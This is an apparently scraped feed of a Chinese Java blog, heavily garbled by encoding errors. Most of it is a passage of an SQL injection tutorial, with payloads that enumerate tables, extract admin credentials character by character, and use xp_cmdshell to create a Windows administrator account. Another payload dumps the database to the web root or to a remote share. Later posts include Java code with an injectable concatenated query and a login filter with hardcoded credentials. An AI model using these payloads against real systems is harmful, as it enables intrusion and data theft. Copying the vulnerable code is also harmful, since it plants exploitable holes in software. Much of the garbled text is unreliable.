注入的参æ•îCØ“keyword=â€?and [查询条äšg] and â€?â€?’, åÏx˜¯ç”Ÿæˆè¯­å¥åQ?
Select * from 表名 where字段like â€?â€?and [查询条äšg] and â€?â€?â€?â€?

接着åQŒå°†æŸ¥è¯¢æ¡äšg替换成SQL语句åQŒçŒœè§£è¡¨åï¼Œä¾‹å¦‚åQ?

ID=49 And (Select Count(*) from Admin)>=0

如果™åµé¢ž®×ƒ¸ŽID=49的相同,说明附加条äšg成立åQŒå³è¡¨Admin存在åQŒåä¹‹ï¼Œå³ä¸å­˜åœ¨åQˆè¯·ç‰¢è®°˜q™ç§æ–ÒŽ³•åQ‰ã€?

如此循环åQŒç›´è‡³çŒœåˆ°è¡¨åäؓ止ã€?

表名猜出来后åQŒå°†Count(*)替换成Count(字段å?åQŒç”¨åŒæ ·çš„原理猜解字ŒDµåã€?

有äh会说åQšè¿™é‡Œæœ‰ä¸€äº›å¶ç„¶çš„æˆåˆ†åQŒå¦‚果表名è“v得很复杂没规律的åQŒé‚£æ ÒŽœ¬ž®±æ²¡å¾—玩下去了。说得很对,˜q™ä¸–界根本就不存åœ?00%成功的黑客技术,苍蝇不叮无缝的蛋åQŒæ— è®ºå¤šæŠ€æœ¯å¤šé«˜æ·±çš„é»‘å®¢ï¼Œéƒ½æ˜¯å› äØ“åˆ«äh的程序写得不严密或ä‹É用者保密意识不够,才有得下手ã€?

有点跑题了,话说回来åQŒå¯¹äºŽSQLServer的库åQŒè¿˜æ˜¯æœ‰åŠžæ³•è®©ç¨‹åºå‘Šè¯‰æˆ‘ä»¬è¡¨ååŠå­—æ®µåçš„åQŒæˆ‘们在高çñ”½‹‡ä¸­ä¼šåšä»‹ç»ã€?

最后,在表名和列名猜解成功后,再ä‹É用SQL语句åQŒå¾—出字ŒD늚„å€û|¼Œä¸‹é¢ä»‹ç»ä¸€¿Uæœ€å¸¸ç”¨çš„æ–¹æ³•-Ascii逐字解码法,虽然˜q™ç§æ–ÒŽ³•速度很慢åQŒä½†è‚¯å®šæ˜¯å¯è¡Œçš„æ–ÒŽ³•ã€?

我们举个例子åQŒå·²çŸ¥è¡¨Admin中存在username字段åQŒé¦–先,我们取第一条记录,‹¹‹è¯•长度åQ?

http://www.19cn.com/showdetail.asp?id=49;;and (select top 1 len(username) from Admin)>0

先说明原理:如果top 1çš„username长度大于0åQŒåˆ™æ¡äšg成立åQ›æŽ¥ç€ž®±æ˜¯>1ã€?gt;2ã€?gt;3˜q™æ ·‹¹‹è¯•下去åQŒä¸€ç›´åˆ°æ¡äšgä¸æˆç«‹äØ“æ­¢ï¼Œæ¯”å¦‚>7成立åQ?gt;8不成立,ž®±æ˜¯len(username)=8

  当然没äh会笨得从0,1,2,3一个个‹¹‹è¯•åQŒæ€Žä¹ˆæ äh‰æ¯”较快就看各自发挥了。在得到username的长度后åQŒç”¨mid(username,N,1)截取½W¬N位字½W¦ï¼Œå†asc(mid(username,N,1))得到ASCII码,比如åQ?

id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

同样也是用逐步¾~©å°èŒƒå›´çš„æ–¹æ³•得到第1位字½W¦çš„ASCII码,注意的是英文和数字的ASCII码在1-128之间åQŒå¯ä»¥ç”¨æŠ˜åŠæ³•加速猜解,如果写成½E‹åº‹¹‹è¯•åQŒæ•ˆçŽ‡ä¼šæœ‰æžå¤§çš„æé«˜ã€?

½W¬äºŒèŠ‚ã€ï¼³åQ±ï¼¬æ³¨å…¥å¸¸ç”¨å‡½æ•°

有SQL语言基础的ähåQŒåœ¨åQ»I¼±åQ¬æ³¨å…¥çš„æ—¶å€™æˆåŠŸçŽ‡æ¯”ä¸ç†Ÿæ‚‰çš„äh高很多。我们有必要提高一下自å·Þqš„SQLæ°´åã^åQŒç‰¹åˆ«æ˜¯ä¸€äº›å¸¸ç”¨çš„函数及命令ã€?

AccessåQšasc(字符) SQLServeråQšunicode(字符)

作用åQšè¿”回某字符的ASCIIç ?

AccessåQšchr(æ•°å­—) SQLServeråQšnchar(æ•°å­—)

作用åQšä¸Žasc相反åQŒæ ¹æ®ASCII码返回字½W?

AccessåQšmid(字符ä¸?N,L) SQLServeråQšsubstring(字符ä¸?N,L)

作用åQšè¿”回字½W¦ä¸²ä»ŽN个字½W¦è“v长度为L的子字符ä¸ÔŒ¼Œå³N到N L之间的字½W¦ä¸²

AccessåQšabc(æ•°å­—) SQLServeråQšabc (æ•°å­—)

作用åQšè¿”回数字的¾lå¯¹å€û|¼ˆåœ¨çŒœè§£æ±‰å­—的时候会用到åQ?

AccessåQšA between B And C SQLServeråQšA between B And C

作用åQšåˆ¤æ–­A是否界于B与C之间

½W¬ä¸‰èŠ‚ã€ä¸­æ–‡å¤„ç†æ–¹æ³?

在注入中¼„°åˆ°ä¸­æ–‡å­—符是常有的事,有些äºÞZ¸€¼„°åˆ°ä¸­æ–‡å­—符ž®±æƒ³æ‰“退堂鼓了。其实只要对中文的编码有所了解åQŒâ€œä¸­æ–‡ææƒ§ç—‡â€å¾ˆå¿«å¯ä»¥å…‹æœã€?

先说一点常识:

Access中,中文的ASCII码可能会出现负数åQŒå–凸™¯¥è´Ÿæ•°åŽç”¨abs()取绝对å€û|¼Œæ±‰å­—字符不变ã€?

SQLServer中,中文的ASCII为正敎ͼŒä½†ç”±äºŽæ˜¯UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()˜q”回unicodeå€û|¼Œå†ç”¨nchar函数取得对应的中文字½W¦ã€?


了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范围大一点外åQŒæ–¹æ³•是没什么两æ ïLš„ã€?

é«?¾U?½‹?

看完入门½‹‡å’Œ˜q›é˜¶½‹‡åŽåQŒç¨åŠ ç»ƒä¹ ï¼Œç ´è§£ä¸€èˆ¬çš„¾|‘站是没问题了。但如果¼„°åˆ°è¡¨ååˆ—名猜不刎ͼŒæˆ–程序作者过滤了一些特ŒDŠå­—½W¦ï¼Œæ€Žä¹ˆæé«˜æ³¨å…¥çš„æˆåŠŸçŽ‡åQŸæ€Žä¹ˆæ ähé«˜çŒœè§£æ•ˆçŽ‡ï¼Ÿè¯·å¤§å®¶æŽ¥ç€å¾€ä¸‹çœ‹é«˜çñ”½‹‡ã€?

½W¬ä¸€èŠ‚ã€åˆ©ç”¨ç³»¾lŸè¡¨æ³¨å…¥SQLServer数据åº?

SQLServer是一个功能强大的数据库系¾lŸï¼Œä¸Žæ“ä½œç³»¾lŸä¹Ÿæœ‰ç´§å¯†çš„联系åQŒè¿™¾l™å¼€å‘者带来了很大的方便,但另一斚w¢åQŒä¹Ÿä¸ºæ³¨å…¥è€…提供了一个蟩板,我们先来看看几个具体的例子:

�http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add�-

  分号;在SQLServer中表½Cºéš”开前后两句语句åQ?-è¡¨ç¤ºåŽé¢çš„è¯­å¥äØ“æ³¨é‡ŠåQŒæ‰€ä»¥ï¼Œ˜q™å¥è¯­å¥åœ¨SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储˜q‡ç¨‹xp_cmdshellåQŒè¿™ä¸ªå­˜å‚¨è¿‡½E‹ç”¨äºŽè°ƒç”¨ç³»¾lŸå‘½ä»¤ï¼ŒäºŽæ˜¯åQŒç”¨net命ä×o新徏了用户名为nameã€å¯†ç äØ“passwordçš„windowsçš„å¸åøP¼ŒæŽ¥ç€åQ?

�http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators/add�-

  ž®†æ–°å»ºçš„帐号name加入½Ž¡ç†å‘˜ç»„åQŒä¸ç”¨ä¸¤åˆ†é’ŸåQŒä½ å·²ç»æ‹¿åˆ°äº†ç³»¾lŸæœ€é«˜æƒé™ï¼å½“ç„¶åQŒè¿™¿Uæ–¹æ³•只适用于用sa˜qžæŽ¥æ•°æ®åº“的情况åQŒå¦åˆ™ï¼Œæ˜¯æ²¡æœ‰æƒé™è°ƒç”¨xp_cmdshellçš„ã€?

  �http://Site/url.asp?id=1 ;;and db_name()>0

前面有个¾cÖM¼¼çš„例子and user>0åQŒä½œç”¨æ˜¯èŽ·å–˜qžæŽ¥ç”¨æˆ·åï¼Œdb_name()是另一个系¾lŸå˜é‡ï¼Œ˜q”回的是˜qžæŽ¥çš„æ•°æ®åº“名ã€?

â‘?http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.dbâ€?--˜q™æ˜¯ç›¸å½“狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的¾lå¯¹è·¯å¾„åQŒå°†æ•°æ®åº“备份到Web目录下面åQŒå†ç”¨HTTP把整个数据库ž®±å®Œå®Œæ•´æ•´çš„下蝲回来åQŒæ‰€æœ‰çš„½Ž¡ç†å‘˜åŠç”¨æˆ·å¯†ç éƒ½ä¸€è§ˆæ— é—!在不知道¾lå¯¹è·¯å¾„的时候,˜q˜å¯ä»¥å¤‡ä»½åˆ°¾|‘络地址的方法(å¦?A href="http://file:///202.96.xx.xxShare1.db" target=_blank>\\202.96.xx.xx\Share\1.dbåQ‰ï¼Œä½†æˆåŠŸçŽ‡ä¸é«˜ã€?

  �http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’and status>0)>0

前面说过åQŒsysobjects是SQLServer的系¾lŸè¡¨åQŒå­˜å‚¨ç€æ‰€æœ‰çš„表名、视图、约束及其它对象åQŒxtype=’U’and status>0åQŒè¡¨½Cºç”¨æˆ·å¾ç«‹çš„表名åQŒä¸Šé¢çš„语句ž®†ç¬¬ä¸€ä¸ªè¡¨åå–出,ä¸?比较大小åQŒè®©æŠ¥é”™ä¿¡æ¯æŠŠè¡¨åæš´éœ²å‡ºæ¥ã€‚第二、第三个表名怎么获取åQŸè¿˜æ˜¯ç•™¾l™æˆ‘们聪明的读者思考吧ã€?

�http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名�,1) from sysobjects)>0

从⑤拿到表名后,用object_id(‘表名â€?获取表名对应的内部IDåQŒcol_name(表名ID,1)代表该表的第1个字ŒDµååQŒå°†1换成2,3,4...ž®±å¯ä»¥é€ä¸ªèŽ·å–æ‰€çŒœè§£è¡¨é‡Œé¢çš„å­—æ®µåã€?

  以上6ç‚ÒŽ˜¯æˆ‘ç ”½I¶SQLServer注入半年多以来的心血¾l“æ™¶åQŒå¯ä»¥çœ‹å‡ºï¼Œå¯¹SQLServer的了解程度,直接影响着成功率及猜解速度。在我研½I¶SQLServer注入之后åQŒæˆ‘在开发方面的水åã^也得到很大的提高åQŒå‘µå‘µï¼Œä¹Ÿè®¸å®‰å…¨ä¸Žå¼€å‘本来就是相辅相成的吧ã€?

½W¬äºŒèŠ‚ã€ç»•˜q‡ç¨‹åºé™åˆ¶ç‘ô¾l­æ³¨å…?

在入门篇提到åQŒæœ‰å¾ˆå¤šäººå–œ‹Æ¢ç”¨â€™å·‹¹‹è¯•注入漏洞åQŒæ‰€ä»¥ä¹Ÿæœ‰å¾ˆå¤šäh用过滤’号的方法来“防止”注入漏‹zžï¼Œ˜q™ä¹Ÿè®¸èƒ½æŒ¡ä½ä¸€äº›å…¥é—¨è€…çš„æ”Õd‡»åQŒä½†å¯¹ï¼³åQ±ï¼¬æ³¨å…¥æ¯”较熟悉的ähåQŒè¿˜æ˜¯å¯ä»¥åˆ©ç”¨ç›¸å…³çš„函数åQŒè¾¾åˆ°ç»•˜q‡ç¨‹åºé™åˆ¶çš„目的ã€?

在“SåQ±ï¼¬æ³¨å…¥çš„一般步骤”一节中åQŒæˆ‘所用的语句åQŒéƒ½æ˜¯ç»˜q‡æˆ‘优化åQŒè®©å…¶ä¸åŒ…含有单引号的;在“利用系¾lŸè¡¨æ³¨å…¥SQLServer数据库”中åQŒæœ‰äº›è¯­å¥åŒ…含有’号åQŒæˆ‘们ä‹D个例子来看看怎么攚w€ è¿™äº›è¯­å¥ï¼š

½Ž€å•的如where xtype=’U’,字符U对应的ASCII码是85åQŒæ‰€ä»¥å¯ä»¥ç”¨where xtype=char(85)代替åQ›å¦‚果字½W¦æ˜¯ä¸­æ–‡çš„,比如where name=’用户’,可以用where name=nchar(29992) nchar(25143)代替ã€?

½W¬ä¸‰èŠ‚ã€ç»éªŒå°¾l?

1.有些äºÞZ¼š˜q‡æ×oSelect、Update、Delete˜q™äº›å…³é”®å­—,但偏偏忘记区分大ž®å†™åQŒæ‰€ä»¥å¤§å®¶å¯ä»¥ç”¨selecT˜q™æ ·ž®è¯•一下ã€?

2.在猜不到字段名时åQŒä¸å¦¨çœ‹çœ‹ç½‘ç«™ä¸Šçš„ç™»å½•è¡¨å•ï¼Œä¸€èˆ¬äØ“äº†æ–¹ä¾¿è“v见,字段名都与表单的输入框取相同的名字ã€?

3.特别注意åQšåœ°å€æ çš„ 号传入程序后解释为空æ û|¼Œ+解释ä¸?åøP¼Œ%解释ä¸?åøP¼Œå…·ä½“可以参考URLEncode的相关介¾lã€?

4.用Getæ–ÒŽ³•注入æ—Óž¼ŒIIS会记录你所有的提交字符ä¸ÔŒ¼Œå¯¹Postæ–ÒŽ³•做则不记录,所以能用Post的网址ž®½é‡ä¸ç”¨Getã€?

5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用˜q™ç§æ–ÒŽ³•åQŒåªéœ€è¦ä¸¤è€…之间的区别卛_¯åQŒä½†æ˜¯å¦‚果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高ã€?

����

åQ»I¼±åQ¬æ³¨å…¥æ¼‹zžå¯è°“是“千里之堤,溃于蚁穴”,˜q™ç§æ¼æ´žåœ¨ç½‘上极为普遍,通常是由于程序员å¯Ò޳¨å…¥ä¸äº†è§£åQŒæˆ–者程序过滤不严格åQŒæˆ–者某个参数忘记检查导致。在˜q™é‡ŒåQŒæˆ‘¾l™å¤§å®¶ä¸€ä¸ªå‡½æ•ŽÍ¼Œä»£æ›¿ASP中的Request函数åQŒå¯ä»¥å¯¹ä¸€åˆ‡çš„SQL注入Say NOåQŒå‡½æ•°å¦‚下:

function SafeRequest(ParaName,ParaType)
'--- 传入参数 ---
'ParaName:参数名称-字符�
'ParaType:参数¾cÕdž‹-æ•°å­—åž?1表示以上参数是数字,0表示以上参数为字½W?

Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "参数" & ParaName & "必须为数字型åQ?
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function

文章到这里就¾l“束了,不管你是安全人员、技术爱好者还是程序员åQŒæˆ‘都希望本文能对你有所帮助ã€?BR>

]]>
UChttp://www.aygfsteel.com/lmsun/archive/2006/02/02/29464.htmlmy javamy javaThu, 02 Feb 2006 03:17:00 GMThttp://www.aygfsteel.com/lmsun/archive/2006/02/02/29464.htmlhttp://www.aygfsteel.com/lmsun/comments/29464.htmlhttp://www.aygfsteel.com/lmsun/archive/2006/02/02/29464.html#Feedback0http://www.aygfsteel.com/lmsun/comments/commentRss/29464.htmlhttp://www.aygfsteel.com/lmsun/services/trackbacks/29464.html
http://www.wsmmz.net

http://www.sooweb.net/Html/Soft/82.html

http://www.hnwuyun.com/jc/

http://club.cat898.com/newbbs/printpage.asp?BoardID=18&ID=760319

http://lsdw.go1.icpcn.com/pstg/6.htm

http://font.flash8.net/font/list.aspx?page=3&c_id=383&s_id=395

]]>
电脑¾~–程技巧与¾l´æŠ¤http://www.aygfsteel.com/lmsun/archive/2006/01/26/29231.htmlmy javamy javaThu, 26 Jan 2006 03:16:00 GMThttp://www.aygfsteel.com/lmsun/archive/2006/01/26/29231.htmlhttp://www.aygfsteel.com/lmsun/comments/29231.htmlhttp://www.aygfsteel.com/lmsun/archive/2006/01/26/29231.html#Feedback0http://www.aygfsteel.com/lmsun/comments/commentRss/29231.htmlhttp://www.aygfsteel.com/lmsun/services/trackbacks/29231.htmlhttp://www.comprg.com.cn



http://supercss.com/

]]>
配置ssl in tomcathttp://www.aygfsteel.com/lmsun/archive/2005/11/02/17820.htmlmy javamy javaWed, 02 Nov 2005 07:21:00 GMThttp://www.aygfsteel.com/lmsun/archive/2005/11/02/17820.htmlhttp://www.aygfsteel.com/lmsun/comments/17820.htmlhttp://www.aygfsteel.com/lmsun/archive/2005/11/02/17820.html#Feedback0http://www.aygfsteel.com/lmsun/comments/commentRss/17820.htmlhttp://www.aygfsteel.com/lmsun/services/trackbacks/17820.html
keytool -genkey -alias tomcat -keyalg RSA

¾~ºçœè¯ä¹¦æ–‡äšgåäØ“åQ?keystore

2、修æ”ÒŽ–‡ä»¶server.xml
  <Connector port="8443"
               maxThreads="150" minSpareThreads="25" maxSpareThreads="75"
               enableLookups="false" disableUploadTimeout="true"
               acceptCount="100" debug="0" scheme="https" secure="true"
               clientAuth="false"
      keystoreFile="C:\keystore\.keystore"
      keystorePass="netscape"
      sslProtocol="TLS" />

3、web.xml
<security-constraint>
    <web-resource-collection>
      <web-resource-name>Purchase</web-resource-name>
      <url-pattern>/ssl/*</url-pattern>
    </web-resource-collection>
    <auth-constraint>
      <role-name>registered-user</role-name>
    </auth-constraint>
    <user-data-constraint>
      <transport-guarantee>CONFIDENTIAL</transport-guarantee>
    </user-data-constraint>
  </security-constraint>
 
  <!-- Only users in the administrator role can access
       the delete-account.jsp page within the admin
       directory. -->
  <security-constraint>
    <web-resource-collection>
      <web-resource-name>Account Deletion</web-resource-name>
      <url-pattern>/admin/delete-account.jsp</url-pattern>
    </web-resource-collection>
    <auth-constraint>
      <role-name>administrator</role-name>
    </auth-constraint>
  </security-constraint>
 
  <!-- Tell the server to use form-based authentication. -->
  <login-config>
    <auth-method>FORM</auth-method>
    <form-login-config>
      <form-login-page>/admin/login.jsp</form-login-page>
      <form-error-page>/admin/login-error.jsp</form-error-page>
    </form-login-config>
  </login-config>
   
 
4、重启tomcat




]]>
ListEmpActionhttp://www.aygfsteel.com/lmsun/archive/2005/09/27/14187.htmlmy javamy javaTue, 27 Sep 2005 05:21:00 GMThttp://www.aygfsteel.com/lmsun/archive/2005/09/27/14187.htmlhttp://www.aygfsteel.com/lmsun/comments/14187.htmlhttp://www.aygfsteel.com/lmsun/archive/2005/09/27/14187.html#Feedback0http://www.aygfsteel.com/lmsun/comments/commentRss/14187.htmlhttp://www.aygfsteel.com/lmsun/services/trackbacks/14187.html/*
 * Created on 2005-9-27
 *
 * TODO To change the template for this generated file go to
 * Window - Preferences - Java - Code Style - Code Templates
 */
package fibernews.action;
import javax.servlet.http.*;

import java.sql.*;
import java.util.*;
import fibernews.framework.db.*;
import fibernews.beans.Employee;
import fibernews.util.function.HandleString;
import fibernews.framework.logging.Logger;

/**
 * @author Administrator
 *
 * TODO To change the template for this generated type comment go to
 * Window - Preferences - Java - Code Style - Code Templates
 */
public class ListEmpAction extends Action {

 List list ;
 public String process(HttpServletRequest request, HttpServletResponse response) {
     Connection conn=DBHelper.getConnection();
 Statement st=null;
     PreparedStatement pst=null;
     ResultSet rs=null ;
        String  query=HandleString.toChinese(request.getParameter("query"));
        if ((query==null)||query.trim().equals("")) query="lmsun";
  try{
 
      String sql="select * from employee_email where name like '%"+query+"%' or email like '%"+query+"%'" ;
      //st=conn.createStatement();
  pst=conn.prepareStatement(sql);
  rs=pst.executeQuery();
  list=new ArrayList();
  Employee emp;
  while (rs.next()){
   emp=new Employee();
   emp.setId(rs.getString("id"));
   emp.setEmployee_bh(rs.getString("employee_bh"));
   emp.setName(rs.getString("name"));
   emp.setEmail(rs.getString("email"));
   emp.setDepartment1(rs.getString("department1"));
   emp.setDepartment2(rs.getString("department2"));
   emp.setDepartment3(rs.getString("department3"));
   list.add(emp);
  }

  
  }
  
   catch (Exception e) {
         System.out.println("Error Connecting to catalog DB: " + e.toString());
       }
   finally {
    DBHelper.close(rs,pst,conn);
   }
   request.setAttribute("empList",list);
   return "/intra/query/emailbook.jsp";
  
 }
   public static void main(String[] args)
   {
     ListEmpAction empaction = new ListEmpAction();
     System.out.print("End"); 
   }
  
}



]]>
AuthenticationFilter˜q‡æ×oå™?/title><link>http://www.aygfsteel.com/lmsun/archive/2005/09/12/12764.html</link><dc:creator>my java</dc:creator><author>my java</author><pubDate>Mon, 12 Sep 2005 08:27:00 GMT</pubDate><guid>http://www.aygfsteel.com/lmsun/archive/2005/09/12/12764.html</guid><wfw:comment>http://www.aygfsteel.com/lmsun/comments/12764.html</wfw:comment><comments>http://www.aygfsteel.com/lmsun/archive/2005/09/12/12764.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.aygfsteel.com/lmsun/comments/commentRss/12764.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/lmsun/services/trackbacks/12764.html</trackback:ping><description><![CDATA[<STRONG>重定向请æ±?<BR><BR></STRONG>  下面我们来构造一个AuthenticationFilter˜q‡æ×o器,它的功能是截获对Controller Servlet的请求,然后验证用户的èín份。按照前面介¾lçš„æ­¥éª¤ç”¨å‘å¯¼åˆ›å»ø™¿‡æ»¤å™¨æ—Óž¼Œå‘导提供了定义初始化参数、过滤器的URLå’ŒServlet映射½{‰å‚数。如果不讄¡½®˜q™ç±»å‚æ•°åQŒç¼ºçœæƒ…况下向导用过滤器本èín的名¿U°åˆ›å»ÞZ¸€ä¸ªURL映射åQŒæˆ‘们将在下面用¾~–辑web.xmlæ–‡äšg的方式定义映ž®„,因此现在先认可缺省倹{€‚注意,如果你想在链中ä‹É用一个以上的˜q‡æ×o器,那就必须手工¾~–辑web.xmlã€?<BR><BR>  在向å¯ég¸­ç‚¹å‡»â€œå®Œæˆâ€æŒ‰é’®åŽåQŒWSAD立即构造出˜q‡æ×o器的骨架代码。对于本例来è¯ß_¼ŒæŽ¥ä¸‹æ¥æˆ‘们唯一的ä“Q务就是将代码插入doFilter()æ–ÒŽ³•åQŒå¦‚Listing 1所½Cºã€?<BR><BR><CCID_NOBR> <TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=540 align=center borderColorLight=black border=1> <TBODY> <TR> <TD class=code bgColor=#e6e6e6><PRE><CCID_CODE>// Listing 1: AuthenticationFilter.java public void doFilter( ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException { String nextPage; RequestDispatcher rd = null; //‹‚€æŸ¥ç”¨æˆ·å¿U°å’Œå¯†ç  if (req.getParameter("userid") != null) { if (!((req.getParameter("password").equals("password")) && (req.getParameter("userid").equals("user")))) { ArrayList actionreport = newArrayList(); actionreport.add("ç™Õd½•å¤ÞpÓ|。。ã€?); (((HttpServletRequest) req).getSession()).setAttribute( "actionreport", actionreport); nextPage = "failure.jsp"; System.out.println("获得了来自过滤器的应½{”ã€?); // ž®†è¯·æ±‚直接传递给下一个页面(而不是Controller ServletåQ? rd = req.getRequestDispatcher(nextPage); rd.forward(req, resp); } else { req.setAttribute("login", "loginsuccess"); // ž®†è¯·æ±‚传递给Controller Servlet chain.doFilter(req, resp); System.out.println("获得了来自过滤器的应½{”ã€?); } } else { rd = req.getRequestDispatcher("Welcome.jsp"); rd.forward(req, resp); } }</CCID_CODE></PRE></TD></TR></TBODY></TABLE></CCID_NOBR><BR><BR>  从上面的代码可以看出åQŒåœ¨˜q‡æ×o器中验证用户íw«ä†¾çš„æ–¹å¼ä»å’Œåã^常的一栗÷€‚在此过½E‹ä¸­åQŒäؓ了获得session对象åQŒæˆ‘们把ServletRequest定型åQˆcaståQ‰æˆäº†HttpServletRequest。如果用æˆähœªèƒ½é€šè¿‡íw«ä†¾éªŒè¯åQŒæˆ‘们不再把è¯äh±‚传递给Controller ServletåQŒè€Œæ˜¯é€šè¿‡RequestDispatcher把请求传递给报告™åµé¢åQˆfailure.jspåQ‰ã€?<BR><BR>  如果用户通过了èín份验证,则我们调用chain.doFilter()åQŒå…è®¸åº”½{”进入Controllerâ€”â€”è¿™æ˜¯å› ä¸ø™°ƒç”¨chain.doFilter()æ—Óž¼Œé“ùN‡Œé¢å·²¾læ²¡æœ‰å…¶ä»–过滤器åQŒæ‰€ä»¥æŽ§åˆ¶å°†ä»¥POSTæ–¹å¼è½¬å…¥ä½œäØ“Controllerçš„ServletåQŒå®žé™…上åQŒchain.doFilter()ž®†è°ƒç”¨Controller.doPost()æ–ÒŽ³•ã€?<BR><BR>  发送请求给Controller之前åQŒæˆ‘们可以根据用戯‚Ž·å¾—çš„íw«ä†¾è¯ä¹¦æ¥è®¾¾|®è¯·æ±‚的属性,˜q™äº›ä¿¡æ¯ž®†å¸®åŠ©Controller及其辅助¾cÕd¤„理请求。作ä¸ÞZ¸€ä¸ªä¾‹å­ï¼Œæˆ‘们讄¡½®äº†è¯·æ±‚çš„login属性,然后在Controller中检查该属性,Controller把应½{”返回给success.jspåQˆå¦‚Listing 2所½Cºï¼‰ã€?<BR><BR><CCID_NOBR> <TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=540 align=center borderColorLight=black border=1> <TBODY> <TR> <TD class=code bgColor=#e6e6e6><PRE><CCID_CODE>// Listing 2: controller.java protected final void doPost( HttpServletRequest request, HttpServletResponse response) { // begining codes //--用户已通过íw«ä†¾éªŒè¯ if (((String) request.getAttribute("login")).equals ("login success")) { ArrayList actionreport = new ArrayList(); actionreport.add("Correct Password"); session.setAttribute("actionreport", actionreport); nextPage = "success.jsp"; } if (dispatch) { RequestDispatcher rd = getServletContext().getRequestDispatcher(nextPage); rd.forward(request, response); } else { session.invalidate(); } // ending codes }</PRE></TD></TR></TBODY></TABLE><img src ="http://www.aygfsteel.com/lmsun/aggbug/12764.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/lmsun/" target="_blank">my java</a> 2005-09-12 16:27 <a href="http://www.aygfsteel.com/lmsun/archive/2005/09/12/12764.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss> <footer> <div class="friendship-link"> <a href="http://www.aygfsteel.com/" title="狠狠久久亚洲欧美专区_中文字幕亚洲综合久久202_国产精品亚洲第五区在线_日本免费网站视频">狠狠久久亚洲欧美专区_中文字幕亚洲综合久久202_国产精品亚洲第五区在线_日本免费网站视频</a> </div> </footer> Ö÷Õ¾Ö©Öë³ØÄ£°å£º <a href="http://" target="_blank">Æ½ÒØÏØ</a>| <a href="http://" target="_blank">·¿É½Çø</a>| <a href="http://" target="_blank">¼ÎÉÆÏØ</a>| <a href="http://" target="_blank">ÐÂÃÜÊÐ</a>| <a href="http://" target="_blank">Â³É½ÏØ</a>| <a href="http://" target="_blank">Ïî³ÇÊÐ</a>| <a href="http://" target="_blank">´óÌïÏØ</a>| <a href="http://" target="_blank">·áÌ¨Çø</a>| <a href="http://" target="_blank">ʯ×ìɽÊÐ</a>| <a href="http://" target="_blank">ÁijÇÊÐ</a>| <a href="http://" target="_blank">ÂåÔúÏØ</a>| <a href="http://" target="_blank">²©°®ÏØ</a>| <a href="http://" target="_blank">ÁºÆ½ÏØ</a>| <a href="http://" target="_blank">ãþ´¨ÏØ</a>| <a href="http://" target="_blank">Î÷ºÍÏØ</a>| <a href="http://" target="_blank">ÃÜÔÆÏØ</a>| <a href="http://" target="_blank">ÓñÆÁ</a>| <a href="http://" target="_blank">ÜdzÇÏØ</a>| <a href="http://" target="_blank">ËïÎâÏØ</a>| <a href="http://" target="_blank">Ïâ»ÆÆì</a>| <a href="http://" target="_blank">¶«·½ÊÐ</a>| <a href="http://" target="_blank">Ç­Î÷ÏØ</a>| <a href="http://" target="_blank">Ô­ÑôÏØ</a>| <a href="http://" target="_blank">ºÚÁú½­Ê¡</a>| <a href="http://" target="_blank">¹ãÈÄÏØ</a>| <a href="http://" target="_blank">·¿²ú</a>| <a href="http://" target="_blank">̨ÄÏÊÐ</a>| <a href="http://" target="_blank">ÏØ¼¶ÊÐ</a>| <a href="http://" target="_blank">ÄÏÕÄÏØ</a>| <a href="http://" target="_blank">°ÄÃÅ</a>| <a href="http://" target="_blank">Ã÷Ë®ÏØ</a>| <a href="http://" target="_blank">ºôºÍºÆÌØÊÐ</a>| <a href="http://" target="_blank">ÕØ¶«ÊÐ</a>| <a href="http://" target="_blank">¸®¹ÈÏØ</a>| <a href="http://" target="_blank">аͶû»¢ÓÒÆì</a>| <a href="http://" target="_blank">·áÄþ</a>| <a href="http://" target="_blank">Íß·¿µêÊÐ</a>| <a href="http://" target="_blank">´óÖñÏØ</a>| <a href="http://" target="_blank">»ÆÁêÏØ</a>| <a href="http://" target="_blank">ÄÏÆ¤ÏØ</a>| <a href="http://" target="_blank">ÓÀ¼ªÏØ</a>| <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body>